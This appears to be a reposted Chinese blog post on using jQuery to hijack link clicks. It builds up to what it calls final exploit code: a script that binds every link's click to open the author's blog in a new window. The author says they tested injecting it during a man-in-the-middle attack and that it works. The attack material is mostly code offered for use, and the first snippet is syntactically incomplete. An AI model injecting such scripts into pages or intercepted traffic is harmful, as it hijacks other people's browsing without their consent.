jquery實現點擊劫持代碼

來源:互聯網
上載者:User

標籤:jquery   原始碼   劫持   中間人攻擊   滲透   

一直在找一個全屏的透明圖層點擊彈窗代碼,雖然沒找到,不過有了一些意外的新發現

在瀏覽百度知道時,發現了jquery可以為div添加onclick事件 

代碼如下:

<script type="text/javascript" src="jquery.js"></script><div id="one">1</div><div id="one">2</div><div id="one">3</div><div id="one">4</div><div id="one">5</div><script type="text/javascript">  $(function(){    $("div").each(function(){      $(this).click(function(){        alert($(this).text());      });    });</script>
這樣每個div都可以賦予點擊事件,那麼,body標籤呢?<a>標籤呢?

我分別進行了測試 發現在webkit核心下:

<script type="text/javascript" src="jquery.js"></script><div id="one">1</div><div id="one">2</div><div id="one">3</div><div id="one">4</div><div id="one">5</div><body>aaaa</body><a href="http://baidu.com/">a</a><script type="text/javascript">  $(function(){    $("div").each(function(){      $(this).click(function(){        alert($(this).text());      });    });    $("body").each(function(){      $(this).click(function(){        alert($(this).text());      });    });    $("a").each(function(){      $(this).click(function(){        alert($(this).text());      });    });  });</script>

當點擊body元素時,出現了網頁的原始碼,而點擊<a>標籤時,則會先彈出alert再轉到連結!換句話說,成功的利用jquery劫持了連結!

參見了這篇給div加跳轉的文章http://www.cdxwcx.com/faq/htmldivLink.html後,最終的exploit代碼如下:

<a href="http://baidu.com/">我只是個無辜的連結</a><script type="text/javascript" src="http://lib.sinaapp.com/js/jquery/1.9.1/jquery-1.9.1.min.js"></script><script type="text/javascript">  $(function(){    $("a").each(function(){      $(this).click(function(){        window.open('http://blog.csdn.net/qq754406613');      });    });  });</script>

親測中間人攻擊時注入此代碼可用

jquery實現點擊劫持代碼

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.